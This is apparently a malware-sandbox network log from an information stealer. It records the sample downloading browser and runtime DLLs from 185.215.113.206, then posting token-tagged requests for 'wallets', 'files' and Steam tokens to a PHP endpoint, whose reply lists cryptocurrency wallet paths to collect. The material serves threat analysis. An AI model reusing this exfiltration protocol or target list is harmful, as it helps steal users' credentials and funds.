Oct 28, 2024 08:17:32.601737976 CET	848	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Oct 28, 2024 08:17:32.602438927 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Oct 28, 2024 08:17:32.602456093 CET	1236	IN	Data Raw: 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 c0 e8 66 0f 62 e8 66 0f eb cd 66 0f 72 f3 17 66 0f fe de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 Data Ascii: fo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]
Oct 28, 2024 08:17:32.602464914 CET	1236	IN	Data Raw: 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 fe ff ff 8b 41 04 89 85 a0 fe ff ff 89 c3 11 d3 8b 41 20 89 85 c4 fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff Data Ascii: RAA q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xp
Oct 28, 2024 08:17:34.643338919 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 08:17:34.931660891 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 28, 2024 08:17:36.173230886 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 08:17:36.461606026 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 28, 2024 08:17:37.343123913 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 08:17:37.631511927 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 28, 2024 08:17:40.053530931 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 08:17:40.342880964 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 28, 2024 08:17:40.617157936 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 08:17:40.906590939 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 28, 2024 08:17:41.667078018 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 08:17:42.455758095 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:42.515944004 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHDGHCGHCAAKFIIECF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="message"wallets------DBGHDGHCGHCAAKFIIECF--
Oct 28, 2024 08:17:42.807034969 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 28, 2024 08:17:42.810261011 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJKJKKJDHIDHJKJDB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="message"files------AEGHJKJKKJDHIDHJKJDB--
Oct 28, 2024 08:17:43.100589037 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:43.113437891 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="file"------HIIEGHJJDGHCAKEBGIJK--
Oct 28, 2024 08:17:43.903258085 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:43.936566114 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"ybncbhylepme------HIIIIEGHDGDBFIDGHDAF--
Oct 28, 2024 08:17:44.227667093 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:44.228713989 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDAECGDAFBAAAAAECGI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 2d 2d 0d 0a Data Ascii: ------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIDAECGDAFBAAAAAECGI--
Oct 28, 2024 08:17:45.029560089 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Oct 28, 2024 08:19:07.345148087 CET	13.107.246.45	443	192.168.2.4	49979	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
